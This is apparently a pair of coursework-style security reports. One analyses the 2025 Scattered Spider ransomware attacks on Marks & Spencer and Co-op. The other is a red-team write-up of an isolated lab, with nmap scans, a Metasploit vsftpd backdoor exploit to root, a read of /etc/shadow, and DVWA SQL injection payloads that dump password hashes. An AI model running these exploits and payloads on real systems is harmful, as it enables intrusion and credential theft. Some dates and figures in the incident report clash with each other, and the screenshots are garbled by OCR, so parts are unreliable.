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Abstract

This report offers a strategic breakdown of the 2025 hacking attacks on Marks & Spencer and The
Co-operative Group. The campaign, linked to Scattered Spider and DragonForce ransomware,
involved targeting third-party vendors, notably Tata Consultancy Services. Through social
engineering via phishing and vishing attacks, they obtained access, escalated privileges and

launched ransomware to disrupt services.

The report uses the MITRE ATT&CK framework to identify the tactics, techniques and procedures
of the adversaries, pointing to gaps in identity and access management, monitoring and supply
chain. It also considers technical, organisational and human vulnerabilities. It offers strategic
guidelines, such as Zero Trust, phishing-resistant authentication, and enhanced third-party vendor

control, to enhance cybersecurity and protect against future large-scale incursions.
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Introduction

The UK retail industry is a vital component of the economy, contributing more than £400 billion
a year and processing a significant volume of personal and financial data [31]. Retailers such as
The Co-operative Group and Marks & Spencer are prime targets for cyberattacks because of their
access to sensitive personal data, payment processing and supply chain management. They depend

on interlinked systems and suppliers, which can lead to large-scale outages [6].

Cyber-attacks are also evolving to include identity-based attacks and Advanced Persistent Threats
(APTs) that exploit mistakes and authentication weaknesses. In this report, the 2025 attacks on
M&S and Co-Op are examined, mapped TTPs to MITRE ATT&CK, pointed out weaknesses and

recommend ways to improve security.

Incident Summary and Timeline

The 2025 attacks on Marks & Spencer and The Co-operative Group were a well-planned
ransomware attack by the Scattered Spider group [11]. The attack occurred during the busy Easter
weekend of March and April 2015, and involved a third-party IT provider, Tata Consultancy
Services (TCS). They used social engineering such as impersonating genuine staff to fool the
helpdesk into changing passwords and disabling security measures such as multi-factor

authentication [13]. They were able to gain access to M&S systems in late March.

Once inside, hackers then traversed the network, stole data and eventually deployed ransomware
known as DragonForce, which sent UK retail operations into chaos. The same approach was then

applied to Co-op, and even Harrods (which managed to successfully prevent the attack [26].

During Easter weekend (April 19-21), customers of M&S were unable to make contactless
payments, and the loyalty card program and Click & Collect services were down. On April 22,
M&S confirmed the attack Spider [15]. On April 23, a ransom note was sent to the CEO and by
April 25, all online services were offline [11]. Co-op noticed the attack on April 26 and shut down
systems to minimise disruption. The recover extended to July for M&S while Co-op rstored
domains faster. Later in July 2025, four teens were arrested by NCA in relation with Scattered
[21]. This led to the retailer reportedly ending its services contract with TCS. The news emerged
in September 2025, but TCS confirmed it doesn't offer cybersecurity services to M&S. The attack
crippled retail processes and loyalty programs [29].
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Timeline of the Phishing and Ransomware Attack

Phishing Lateral movement,
reconnaissance on systems infected Incident publicly Co-op data stolen Systems restored
employees and TCS (M&S) reported (6.5M records) gradually

Early March 2025 April 19-21 April 22-30 April 25 May-July 2025
(Discovery) (Escalation) (Disclousre) (Escalation) (Recovery)

| | | | | | | | | | >

Late March 2025 April 22-26 April 23-25 April 25-26 June-Sept 2025
(Intital Access (Initial Access (Co- (Escalation) (Containment) (Remediation)
(M&S)) op))

Ransomware M&S shuts services, Arrests made,
Helpdesk tricked — Co-op detects deployed, ransom Co-op isolates vendor ties cut
MFA reset, unauthorized access note sent systems
credentials stolen

Figure 1 Attack Timeline diagram

(Source: Self-created)
Impact:

The attacks resulted in massive damage, including £300 million for M&S and more than £200
million revenue loss for the Co-op [28]. The attack erased around 30% of the estimated profit of
M&S for the same financial year. There was also significant service outages and compromised
customer data including names, addresses and dates of birth. On the other hand, regional product
shortages occurred in Co-op due to taking systems offline. The incidents were classified as the

Category 2 Systemic event by Cyber Monitoring Centre [7].

Table I Incident Timeline

Phase Date/Event | Key Milestone/Details Impact/Source
Discovery March Phishing reconnaissance on | Enabled targeted calls
2025 retailer employees and TCS
(early) vendors;  employee  data




gathered for social engineering

[11].

Initial Late Social engineering on TCS | Network foothold
Access March—Feb | helpdesk: impersonation led to
2025 MFA reset, NTDS.dit theft.
(M&S) Co-op followed similar vector
[25].
Initial April 22— | Unauthorized access attempts | Data exfil started
Access 26, 2025 | detected post-M&S; third-party
(Co-op) integration exploited [6].
Escalation Easter Lateral movement; encryption | Service failures nationwide
Weekend spreads to POS, loyalty
(Apr 19— | (Sparks), Click & Collect
21) systems at M&S [11].
Escalation Apr 23-24, | Ransom note to M&S CEO via | Servers locked
2025 compromised email;
DragonForce ransomware
deployed on ESXi VMs (Apr
24) [11].
Escalation Apr 25, | DragonForce extortion via | Supply chain halted
2025 (Co- | Teams/call to security head;
op) 20M customer records (names,
DOBs) exfiltrated [32].
Containment | Apr 25-26, | M&S suspends online orders; | Limited ransomware spread
2025 Co-op  proactively  shuts
(M&S/Co- | VPNS/IT networks, thwarts full
op) encryption [6]. Harrods air-

gaps.




Public Apr 22, | "Cybersecurity incident" filed | Operational alert

Disclosure 2025 to London Stock Exchange.

(M&S)
Public Apr 30, | ITV News leaks internal email; | Revenue scrutiny
Disclosure 2025 (Co- | DragonForce confirms data

op) theft to BBC (May).

Remediation | May 21, | Website restored in read-only | Partial recovery

2025 mode; full ops by July. TCS
(M&S) internal probe launched (May
23) [11].

Remediation | June—Sep Co-op domain rebuilds; NCA | Campaign disrupted
2025 arrests 4 suspects (Jul 9) (Jones,
2025); M&S severs TCS ties

(Sep).

Adversary TTP Mapping (MITRE ATT&CK)

The MITRE ATT&CK framework is a popular representation of attacker actions in terms of tactics
(goals) and techniques (methods). It's used to gain insight into the step-by-step nature of real-world
attacks. During the 2025 cyber-attack on Marks & Spencer and The Co-operative Group, the

hackers used various techniques during the attack lifecycle, primarily identity theft and

ransomware.
TTP Mapping Table
Table 2 Adversary TTP Mapping (MITRE ATT&CK) table
Tactic Technique ID Explanation
Initial Access | Phishing T1566.001 | Attackers sent targeted emails to TCS
(Spearphishing) helpdesk staff pretending to be employees,
tricking them into sharing credentials [30].




Initial Access | External ~ Remote | T1133 Attackers used VPN/helpdesk access from
Services TCS to enter internal systems.
Execution Command Shell T1059.003 | Commands were executed to explore
systems and gather information.
Credential (ON) Credential | T1003.001 | Tools like Mimikatz were used to extract
Access Dumping passwords from memory.
Credential Modify T1556.001 | Attackers changed authentication settings
Access Authentication to maintain access [25].
Process
Discovery Account Discovery | T1087.002 | They identified important user accounts
within the domain.
Discovery Network Scanning | T1046 Internal networks were scanned to locate
critical systems [8].
Lateral Remote  Desktop | T1021.001 | Attackers moved between systems using
Movement Protocol (RDP) RDP sessions.
Command & | Web Protocols T1071.001 | Communication with attacker servers was
Control done via HTTPS.
Collection Data from Local | T1005 Sensitive customer and business data were
System collected [17].
Exfiltration Exfiltration  Over | T1041 Data was transferred to external servers
C2 Channel before encryption.
Defense Impair Defenses T1562.001 | Security tools like EDR were disabled to
Evasion avoid detection [30].
Impact Data Encrypted for | T1486 DragonForce  ransomware  encrypted

Impact

systems and services [18].




Impact Inhibit System | T1490 Backup systems were deleted to prevent

Recovery recovery.
ATT&CK Lifecycle Flow
MWL execurion  DEFENSE  CREDENTAL  piscovery WATERAL ~ COMMAND  COLLECTION EXFILTRATION  IMPACT
- 0900080680
MITRE ATT&CK Mapping
UNDER TTP SECTION

Initial Credential Lateral Command Defense

-

Phishing
T1566.001
TSRS

E‘Egm

)

i
iy
sfigd

Figure 2 MITRE ATT&CK Mapping diagram

(Source: Self-created)

Explanation of Key TTPs
The attack began with spearphishing (T1566.001) to get TCS helpdesk to reset passwords. This
allowed them to access external remote services (T1133). They then ran commands (T1059.003)

to navigate the system and dumped credentials (T1003.001) to get admin passwords.

Once they increased their privileges, the hackers made changes to the authentication process
(T1556.001) to enable ongoing access. They then conducted account discovery (T1087.002) and
network scanning (T1046) to find valuable systems, such as payment servers and database

management systems [19].

The attackers then used RDP (T1021.001) to pivot and install ransomware. Prior to this, they
gathered and stole sensitive information (T1005) and exfiltrated data (T1041) through secure web
protocols (T1071.001). To avoid detection, they shut down security software (T1562.001). They
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then encrypted systems (T1486) and removed backups (T1490) to cause significant disruption and

loss.

Root Cause & Security Control Failures

The cyberattack on Marks & Spencer and The Co-operative Group was not due to a single

vulnerability, but a mix of technical, process and human failures. The hackers, from the Scattered

Spider group, targeted vulnerabilities across all aspects, particularly through the third-party

supplier, Tata Consultancy Services [4]. This allowed the hackers to go undetected for weeks and

then to deploy ransomware.

Technical Failures

Weak Endpoint Security (Control Failed: Endpoint Detection and Response — EDR): The
systems did not detect infostealer software and credential dumping tools such as Mimikatz.
This was due to the tools primarily using signature-based detection, which was unable to detect
customised or new attacks [27]. This allowed the attackers to steal passwords undetected.
Poor Logging and SIEM Gaps (Control Failed: Continuous Monitoring / SIEM): The
monitoring of logs and correlation of systems was ineffective. The vendor's logs were not
correlated with internal logs, so suspicious activity such as multiple password resets was not
detected [10]. This resulted in failing to detect early signs of an attack.

MFA Weaknesses (Control Failed: Multi-Factor Authentication): While the organisation
had MFA, it was weak. Employees in the helpdesk were able to reset authentication with weak
verification like SMS or identity verification. A lack of phishing-resistant MFA (such as

hardware tokens) made it easy for the attackers to get through.

Organisational Failures

Over-Trust in Third-Party Vendor (Control Failed: Third-Party Risk Management): The
organisations provided unnecessary access to TCS without proper restrictions [14]. There were
weak controls to monitor vendor activity, resulting in attackers taking advantage of this trust
and breaching internal networks.

Lack of Network Segmentation (Control Failed: Network Access Control): The network
was not sufficiently segmented. This allowed them to freely access other systems, including

key servers and databases. This significantly increased the scale of the attack.
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e Absence of Zero Trust Model (Control Failed: Identity and Access Management): The
organisations used a trust model rather than a Zero Trust approach. This allowed access based

on trust, without ongoing verification, thus enabling the attackers to gain and retain control.

Human Factors

e Social Engineering Success (Control Failed: Security Awareness Training): Staff,
particularly helpdesk, were not trained in social engineering schemes. Imposters posed as
employees and added a sense of urgency, causing staff to skip verification procedures [11].

e Helpdesk Manipulation (Control Failed: Access Verification Procedures): Resetting
passwords did not require rigorous identity verification. This procedure allowed attackers to
easily access high-privilege accounts [20].

e Lack of Security Awareness (Control Failed: Role-Based Training): Employees failed in
detecting the early signs of cyberattacks, such as failure of the system during Easter. This

slowed down the process of reaction and allowed the attack to spread further [3].

These controls were all related. Inadequate technical controls allowed human errors and poor

organisational policies exacerbated this to cause significant financial and operational losses.

Threat Actor Profile & Motive

The recent cyberattacks against Marks & Spencer and The Co-operative Group were primarily the
work of threat group Scattered Spider (UNC3944), and their allies, the DragonForce ransomware
group. The group is particularly skilled in social engineering, rather than just technical hacking

[24].

In terms of nature, it's thought the hackers are young, English-speaking people. Indeed, some of
the suspects were as young as 17-20, indicating that the group uses language skills and self-
confidence to successfully deceive employees [8]. They are very persuasive, especially when

impersonating high-level employees.

Their primary attack techniques were vishing (phone phishing) - where they would call helpdesk
employees to request password resets - and SIM swapping to bypass two-factor authentication.

They also re-used compromised credentials to gain access to other systems [4].
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The goal of the attack was financial gain. They employ a ransomware attack model, in which they
encrypt systems and steal data, and then demand a ransom to release them and protect them from

being released [5].

In general, they are skilled and sophisticated. They are not as sophisticated as government-
sponsored hackers, but very successful with businesses [12]. They successfully launched a supply-
chain attack involving multiple companies, and went undetected for some time. While attribution

is good, other options, such as insiders, are unlikely as the attack affected multiple companies.

Detection & Response Analysis

The attack was detected much later, with the attackers being in systems from late March to late
April. In both Marks & Spencer and The Co-operative Group, initial malicious activity was
legitimate, such as helpdesk password changes and user logins. This resulted in no security alerts
being triggered [2]. Further, there was no monitoring integration between internal systems and the

third-party vendor, so patterns were not detected.

The responses, however, were very different for both organisations:

Table 3 Response strategies comparison (M&S and Co-op)

Aspect M&S (Reactive) Co-op (Proactive)
Detection Identified after service failures (April | Detected suspicious access early (April
19) 26)

Containment | Systems shut after ransomware spread | Immediate shutdown of VPN and IT

systems
Impact Full encryption, major disruption Limited spread, partial disruption
Recovery Slow recovery, operations restored by | Faster recovery despite operational
July issues

M&S only reacted to major incidents, which resulted in ransomware impact. However, Co-op
responded promptly by isolating systems, minimising impact. This demonstrates how quicker

detection and response strategies can minimise the impact of cyberattacks.
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Strategic Recommendations

Here are some recommendations to counteract the vulnerabilities identified in the Marks &

Spencer and The Co-operative Group attacks. These measures target stopping identity theft and

abuse, containing attacks and enhancing detection and recovery.

Table 4 Strategic recommendations

Recommendation Why Needed How It Stops Attack Effort | Impact
Zero Trust | Flat network | Continuous verification and | High High
Architecture allowed attackers to | segmentation block lateral
move freely movement after initial access
[9]
Phishing-Resistant Weak MFA was | FIDO2/hardware keys | Medium | High
MFA bypassed through | prevent credential theft and
social engineering | unauthorized access [16]
Third-Party Risk | Over-trust in | Restricted access, audits, and | Medium | High
Management vendor (TCS) | least privilege reduce risk
enabled entry point | from vendors [1]
Improved Lack of monitoring | Centralised logs and | Medium | High
Monitoring delayed detection | behaviour analysis detect
(SIEM/EDR) abnormal activities early
[22]
Backup & Recovery | Ransomware Offline  backups ensure | Low High
blocked system | systems can be restored
recovery without paying ransom [23]

These should be done gradually. Immediate measures such as enhanced multi-factor authentication

(MFA) and backups can help mitigate the risk, while long-term strategies like Zero Trust can help

prevent sophisticated attacks. In summary, these measures are about cutting trust, enhancing

visibility and maintaining operations.
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Conclusion

The recent cyberattacks on Marks & Spencer and The Co-operative Group illustrated how
exploitation of identity and supply chain vulnerabilities led to significant disruption. These
included weak authentication, monitoring and trust in third-party access. The key takeaway is that
current cybersecurity threats are more about trust than technology, and that more stringent identity

and verification measures are needed.
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Abstract

This report reports on a red team exercise with a virtualised laboratory, which simulates the ABCD
Ltd, a UK mid-sized retail company. It targeted three virtual machines; a Windows Server 2019
Active Directory Domain Controller (VM1-DC, 192.168.56.10), a Metasploitable 2 Linux web
server (VM2, 192.168.56.23), and a Windows 11 workstation with sensitive dummy data (VM3-
Client, 192.168 Three separate exploits were carried out: (1) a vsftpd 2.3.4 backdoor that grants root
access to VM2, reinforced by UNION-based SQL injection against DVWA; (2) Credential reuse
and DCSync, which fully compromised the Active Directory domain of VM1; and (3) SMB lateral
movement, which was used to steal customer PII off VM3. LOLBin was delivered with the help of
certutil.exe to create a Meterpreter C2 channel. LOLBin was delivered after Windows Defender was
disabled. Each of the techniques is aligned to the MITRE ATT&CK framework. A detection gap

analysis determines nine control failures that allow the attack chain.

1. Introduction

ABCD Ltd is a UK based middle sized company that offers web facing retail services and internal
corporate systems. The company contracted a red team exercise to test its detection, prevention, and
response against realistic adversarial techniques. This test was done in a virtualised laboratory
environment, not connected to any real-world systems or the internet, fully consistent with the UK
Computer Misuse Act 1990 and the Data Protection Act 2018 [2].

The main aims were: (1) run a realistic end-to-end attack chain that illustrates lateral movement
through an internet-facing service to sensitive internal data; (2) map all methods to the MITRE
ATT&CK framework (v14); and (3) find detection and control gaps that would enable such an attack
to succeed without being noticed. Its methodology was based on the Penetration Testing Execution
Standard (PTES) and was informed by the OWASP Testing Guide v4.2 of web application testing
[3]. All testing was under the signed Rules of Engagement (Appendix A) and Threat Emulation Plan
(Appendix B).

2. Methodology

The attack had a systematic kill-chain methodology that included five stages, Reconnaissance,
Initial Access and Exploitation, Privilege Escalation and Lateral Movement, Data Collection and
Exfiltration, and Command and Control. The emulated threat actor was Scattered Spider
(UNC3944), a profit-based network that specializes in attacking UK organisations in the retail sector

by stealing credentials and abusing Active Directory [1]. This actor was chosen because it is related
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to the retail profile of ABCD Ltd and has been documented to use Living-Off-the-Land techniques

that are difficult to detect using signatures.

Phase MITRE Tactic Key Technique IDs
Reconnaissance TA0043 T1595, T1046, T1083, T1087
Initial Access TA0001, TA0002 T1190, T1059.004, T1555
Privilege TA0004, TA0006 T1068, T1003, T1078.002
Escalation

Lateral Movement = TA0008 T1021.002, T1003.006
Exfiltration & C2 TA0010, TA0011 T1041, T1105, T1573, T1562.001

3. Lab Environment

The virtual lab was built in Oracle VirtualBox 7.2.8 on a windows 11 host computer (AMD Ryzen
7 4800H, 16GB RAM). All the VMs were isolated and joined using a Host-Only network adapter
(VirtualBox Host-Only Ethernet Adapter #4 subnet 192.168.56.0/24). The isolation of the lab was
tested by ensuring that the ICMP requests to 8.8.8.8 responded with Network is unreachable (Figure
7). All four VMs were captured in pre-attack snapshots before they started operating (Figures 2-5).

VM Name Role Operating System IP Address
Kali Linux Attack Machine Kali Linux 2025.1c 192.168.56.5
VM1-DC AD Domain Controller Windows Server 2019 Standard | 192.168.56.10
VM2- Vulnerable Web Server Metasploitable 2 (Ubuntu 8.04)  192.168.56.23
Metasploitable

VM3-Client Employee Workstation Windows 11 Home Build 26100  192.168.56.12
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Host-Only Network:
192.168.56.0/24

&S0
Kali Linux VM2-WebServer VM3-Client
(192.168.56.5) (192.168.56.10) (192.168.56.23) (192.168.56.12)
Attack Machine (Active Directory (Drupal / Vulnerable (Employee Workstation)

Domain Controller) Web App)

NO Internet Connection

Network Diagram: ABCD Ltd Lab - 192.168.56.0/24 Host-Only Network

& [

- a Lo Ccom ~ & gue 0N

0l = & @ () ight 5 EF =1 il 8  Right il

G & o R R [ & =) i ] & 8] rogh

Figure 1: All 4 VMs running in VirtualBox - VM3-Client (192.168.56.12), VM2-Metasploitable, VM1-DC (192.168.56.10), Kali
Linux (192.168.56.5)
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.

e kali@kali: ~
File Actions Edit View Help
kali@kali: ~ H kali@kali: ~
Currently scanning: Finished! |  Screen View: Unique Hosts
& Captured ARP Req/Rep packets, from & hosts. Total size: 240

Ip At MAC Address Count Len MAC Vendor / Hostname
192.168.56.1 0a:00:27:00:00: 60 Unknown vendor
192.168.56.10 08:00:27:b7:d5: 60 PCS Systemtechnik GmbH

192.168.56.12 08:00:27: - 60 PCS Systemtechnik GmbH
192.168.56.23 08:00:27:37:54: 60 PCS Systemtechnik GmbH

Figure 6: Netdiscover scan confirming all 4 hosts on 192.168.56.0/24 - .1 (host), .10 (VM1-DC), .12 (VM3-Client), .23 (VM2-
Metasploitable)

kali-linux-2025.1c-virtualbox-amd64 (Kali-Pre-Attack-Baseline) [Running] - Orac

]

VirtualBox — O

kali@kali: ~

Figure 7: Lab isolation proof - ping 8.8.8.8 returns 'Network is unreachable’ confirming no internet access from Kali
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4. Findings - Attack Narrative

4.1 Reconnaissance (T1595, T1046, T1083, T1087)

Reconnaissance was initiated using Nmap host discovery (sudo nmap -sn 192.168.56.0/24), which
identified all four hosts on the subnet (Figure 8). Terminal session logging was enabled using the

script command to capture all commands and output for forensic evidence.

kali@kali: ~ B kali@kali:

started, outpu '/home/kali/pentest_log_2026-

rg ) at 2026-04-28 03:

Oracle VirtualBox wvirtual NIC)

Oracle VirtualBox virtual NIC)

cle Virtual tual NIC)

seconds

Figure 8: Nmap host discovery (nmap -sn 192.168.56.0/24) - 5 hosts found including all 4 VMs (T1595.001)

Each target was scanned with full port scans (service, OS detection) (-sC -sV -O -p-) [4]. VM2
(Metasploitable 2) exposed 23 open TCP ports including FTP (vsftpd 2.3.4), SSH (OpenSSH 4.7p1),
HTTP (Apache 2.2.8), SMB (Samba 3.0.20), MySQL (5.0.51a), PostgreSQL (8.3.0), VNC (3.3),
IRC (UnreallRCd), and Apache Tomcat (5.5). The OS has been identified as Linux 2.6.X SMB
signing turned off (Figures 9-11).
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Figure 9: Nmap full scan of VM2 (192.168.56.23) page 1 - vsftpd 2.3.4, OpenSSH 4.7p1, telnet, SMTP, DNS, Apache 2.2.8
(T1046)
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open
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Figure 10: Nmap full scan of VM2 page 2 - Samba 3.0.20, MySQL 5.0.51a, PostgreSQL 8.3.0, VNC, IRC, Tomcat 5.5 (T1046)
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Figure 11: Nmap full scan of VM2 page 3 - OS detected as Linux 2.6.X, SMB signing disabled (dangerous), scan completed in
187.80 seconds

VMI-DC (192.168.56.10) exposed standard Active Directory ports: DNS (53), Kerberos (88),
LDAP (389/636), SMB (445), and WinRM (5985). Secure configuration was confirmed by enabling
and requiring SMB signing (Figure 12). VM3-Client (192.168.56.12) exposed SMB (135/445) and
WinRM (5985), with Windows 10/11 detected (Figure 13).

(Do a 0. Default-F;

Not Found
-nmf

L NIC)
t 1 open and 1 closed port

ERLM, NetBIOS user: <unknown>, NetB C: 88:00:27:b7 (PCS Systemtechnik/Oracle VirtualB

gning enabled and required
ho

d Service detection performed. Please report
ne hos

Nnap done: 1 IP address (1 host up) scanned in

Figure 12: Nmap full scan of VM1-DC (192.168.56.10) - DNS, Kerberos (88), LDAP (389), SMB (445), WinRM (5985), SMB
signing enabled, Windows Server 2019
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Figure 13: Nmap full scan of VM3-Client (192.168.56.12) - SMB (135/445), WinRM (6985), Windows 10/11 detected, SMB

signing enabled

Nikto web vulnerability scanning identified 27 items on VM2 including outdated Apache 2.2.8,
exposed phpinfo(), directory listing, and phpMyAdmin (Figure 14). Directory brute-forcing using
dirb discovered /dav/, /phpMyAdmin/, /test/, /twiki/ directories with directory listing enabled on
several paths (Figures 15-17).

Figure 14: Nikto web vulnerability scan of VM2 (192.168.56.23) - Apache 2.2.8 outdated, phpinfo() found, directory listing,
phpMyAdmin exposed, 27 items found

kali@kali: ~ B  kali@kali:~ B  kali@kali:~ ®  kali@kali:~ B  kali@kali:~ B

b http://192.168. /usr/share/wordlists/dirb/common.txt —o dirb_vm2.txt

/common . txt

4612

http://192.

120015
ODE

phpMyAdmin
phpMyAdmin

Figure 15: Dirb directory brute-force of VM2 page 1 - /dav/, /ohpMyAdmin/, /test/, twiki/ directories found, directory listing
enabled (T1083)
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(!) WARNING: Di y o need to scan
(Use mode n it

(Use mode "-w' if you
—— Entering directory: http 2
(!) WARNIN Di y IS LISTABLE.
(Use mode *

—— En
(1) WARNINC

http: //1 68 phpMyAdmin

) WARNING: Di Ty IS LISTABLE. No need to scan it.
(Use mode i an it

192 .
DIRECTORY:
!

(1) WARNING
(Use mode

—— Entering di
(1) WARNING: Di
(Use mode

—— Enterin
(1) WARNIN
(Use mode

—— Entering dir : http:
(1) WARNIN Di ry IS LISTABLE.
(Use mode * i

—— Enterin
(1) WARNING: Di ry IS LISTABLE. No need to scan it.
(Use mode i t to scan it

—— Enterin
(!) WARNIN
(Use mode

/ . phpMyAdmin/setup/lib,
(1) WARNIN i b n it.
(Use mode if

END_TIME: Tue Apr
DOWNLOADE| 18448 - FOUND

Figure 17: Dirb scan of VM2 page 3 - phpMyAdmin setup, twiki lib/pub directories, scan complete with 42 results found

The Metasploitable 2 web homepage, DVWA login page, and phpMyAdmin interface were

confirmed accessible via browser (Figures 18-20).
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warning: Never expose this WM to an untrusted network!

Contact: msfdev(atlmetasploit.com

Login with msfadmin/msfadmin to get started

« TWiki
My,
« Mutillidae
DVWA

« WebDAV

Figure 18: Metasploitable 2 homepage in Firefox - links to TWiki, phpMyAdmin, Mutillidae, DVWA, WebDAV

Figure 19: DVWA login page at http.//192.168.56.23/dvwa/login.php

php
Welcome to phpMyAdmin

Languag
English v

rLog
Username:
Password:

Figure 20: phpMyAdmin login page at http://192.168.56.23/phpMyAdmin/ with mcrypt extension error (information disclosure)

SMB enumeration using enum4linux revealed the workgroup name WORKGROUP, Samba version
3.0.20-Debian, 36 user accounts via RID cycling, available shares (print$, tmp, opt, IPCS,
ADMINS), and a weak password policy with minimum length of 5 and no complexity requirements

(Figures 21-25).
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enumélinu

bs.po ul

192.168.56.2
500-550,1000-1050

dminist:

Looking up status of 19
METASPLOITABLE
METASPLOITABLE
METASPLOITABLE
OWSE

ACTTV

ACTT!

ORKGROUP <le> - < > B <ACTIV

MAC Address 00-00-00-00-00-00

Domain Name: WOR ouP
Domain Sid: (NULL SID)

tion/enum4linux/ ) on Tue Apr

in admins, root, bin, none

Figure 21: enum4linux SMB enumeration of VM2 (192.168.56.23) - target info, workgroup WORKGROUP, Nbtstat showing
METASPLOITABLE, anonymous session allowed

0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000010

00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011

0x00000011
0x00000011

==

==

==

=

Ac
Ac
Ac
Ac
Ac

0x00000011 Ac

0000011
0ae0011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000010
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011
0x00000011

0-Debian)

Nam

ata Nam
Nam
Nam
Nam
Nam
Nam
Nam
Nam
Nam
Nam;
Nam
Nam
Nam
Nam
Nam
Libuuid Nam

Figure 22: enum4linux VM2 page 2 - OS info via srvinfo (Samba 3.0.20-Debian), all 36 user accounts enumerated via RID

cycling
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Comment

PLOTTABLE

DENTED

oK
DENTED

DENTED

a NULL share

[+] METASPLOITABLE
[+] Built

Figure 23: enum4linux VM2 page 3 - share enumeration (print$, tmp, opt, IPC$, ADMINS), password policy (min length 5, no
complexity)

Minimum
Re! iter: 30 minutes
38 minutes

METASPLOITA

Figure 24: enum4linux VM2 page 4 - groups enumeration, RID cycling users with SIDs, password policy disabled
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1-5-21-104235

PLOITABL

PLOTTABL

PLOITABL! ain Admil
ain U
ain Gue

Figure 25: enum4linux VM2 page 5 - complete RID cycling results with all users and groups, enum4linux complete

Netexec SMB scanning confirmed that SMB signing was disabled on VM2 (signing:False), making
it vulnerable to relay attacks (T1557.001), while VM1-DC and VM3-Client had signing enabled

(Figure 26).

smb 192.1 -0/24

t time use de
structure

missing
missing £
missing

g missing

protocol
o

cd.local) (signin

Initializing SMB protoc e
( ] 6 ) (domain
(5 T

Copying def: gura e
192.168 0 BERLM / se 2019 Build 177
METASPLOITABLE) (domai n Tue)
Windows 10.0 Build 26100 x64 ( . ) (signing:True)

Figure 26: Netexec SMB scan of all targets - VM1-DC signing:True, VM2 signing:False (vulnerable), VM3-Client signing: True
(T1557.001)
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4.2 Exploit A: Remote Code Execution - VM2 (vsftpd 2.3.4 Backdoor)

Vulnerability: CVE-2011-2523 - vsftpd 2.3.4 Backdoor Command Execution
Target: 192.168.56.23, Port 21/tcp
MITRE ATT&CK: T1190 - Exploit Public-Facing Application

In 2011, vsftpd 2.3.4 FTP server had a malicious backdoor, which was introduced due to a
compromised source code distribution. A root shell on TCP port 6200 is spawned when a username
with the character ") is sent in the authentication process. The payload cmd/unix/interact was loaded
to the Metasploit module exploit/unix/ftp/vsftpd 234 backdoor (Figures 27-29). On execution, the
exploit was able to use the backdoor to spawn a root shell with uid=0(root) gid=0(root) (Figure 30).

)it tip: Open an interactive Ruby terminal with irb

N
M
M
M L
MMMMMMMM . ¢ MMMMMN - MMMMMMMMMMm
MMMMMMMM MMMMM MMMMMMAMAMAA

dm
h MMMMMMMMMMMMAN

Description

11 VSFTPD ic
2011-07-83 excellent MSETPD v2.3.4 and Execution

Figure 28: Metasploit search vsftpd - exploit/unix/ftp/vsftpd_234 backdoor found (rank: excellent)
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View the full module info with the , Or command .

Figure 29: vsftpd exploit configured - RHOSTS=192.168.56.23, RPORT=21, show options displayed

ion 1 open - .54 92.168.56 D) at 2 4 B5:4 7 -0400

Figure 30: vsftpd exploit successful - UID: uid=0(root) gid=0(root), Found shell, Command shell session 1 opened (T1190)

Post-exploitation check was that full system was compromised: whoami had returned root, id had
been uid=0, hostname was metasploitable, kernel was Linux 2.6.24 and ifconfig had verified
192.168.56.23. The system accounts were all revealed in the /etc/Passwd file. The shell was
enhanced to interactive bash with the pty module of Python (Figure 31).

00) at ] 7:07 -0400

> Thu Apr 10 1

04117 (101.

Figure 31: Post-exploitation on VM2 - whoami=root, id=uid=0(root), hosthame=metasploitable, uname -a (Linux 2.6.24),
ifconfig (192.168.56.23), cat /etc/passwd
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The /etc/shadow file was read, exposing password hashes for all accounts including root
($18/avpfBJ1$x0z8wSUF9Iv./DRIEILid). Network services were enumerated using netstat -antp
(Figure 32, T1003).

4s5wFDOLB: 14742

Figure 32: cat /etc/shadow showing root hash ($1$/avpfBJ1$...), msfadmin hash, all account hashes; netstat -antp showing all

listening services (T1003)

4.2.1 DVWA SQL Injection

DVWA was logged in using default credentials (admin/password). A simple OR bypass (1' OR
'1'=1) gave all 5 user records (Figure 33). An injection based on UNION (1' UNION SELECT
user,password user,users) dumped all hashes of passphrases (MD5) (Figure 34). The phpMyAdmin
interface, too, was found to be exposed (Figure 35). It took John the Ripper less than 1 second to

crack the admin hash to the password (Figure 36, T1110.002).
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« C @

Kali Linux # KaliTools ¢ KaliDocs M Kali Forums ex Kali NetHunter

Instructions

File Inclusion

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Figure 33: DVWA SQL Injection - payload 1' OR '1'='1 returning all 5 users: admin, Gordon Brown, Hack Me, Pablo Picasso,

2.168.5

Exploit-DB

o)

Vulnerability: SQL Injection

®@ @ 9

Google Hacking DB OffSec

User ID:

ID: 1' OR '1'="1
First name: admin
Surname: admin

ID: 1' OR '1'="1
First name: Gordon
Surname: Brown

ID: 1' OR '1'="1
First name: Hack
Surname: Me

ID: 1' OR '1'="1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'="1
First name: Bob
Surname: Smith

More info

Bob Smith (T1190)

View Source | View Help

Home |

Vulnerability: SQL Injection

Instructions |

Setup |

Brute Force

Command Execution

CSRF

SQL Injection (Blind)
Upload
XSS reflected

XSS stored

DVWA Security |
PHP Info |
About |

Logout |

User ID:

| | submit |

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cT99

ID: 1' UNION SELECT user,password FROM users#
First name: gordonb
Surname: e99al8c428cb38d57260853678922e03

ID: 1' UNION SELECT user,password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user,password FROM users#
First name: pablo
Surname: 0d107de9f5bbedBcade3de5c71e9e9b7

ID: 1' UNION SELECT user,password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

Figure 34: DVWA UNION SELECT SQL Injection - 1" UNION SELECT user,password FROM users# dumping all 5 MD5

password hashes (T1555)
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Exploit-DB Google Hac

php
Welcome to phpMyAdmin

m #1045 - Access denied for user 'pma'@'localhost’
{using password: NO)

rLanguage

[English v |

rLoeg in

Username:

Password:

[Go]

A Cannot load mcrypt extension. Please check your
PHP configuration.

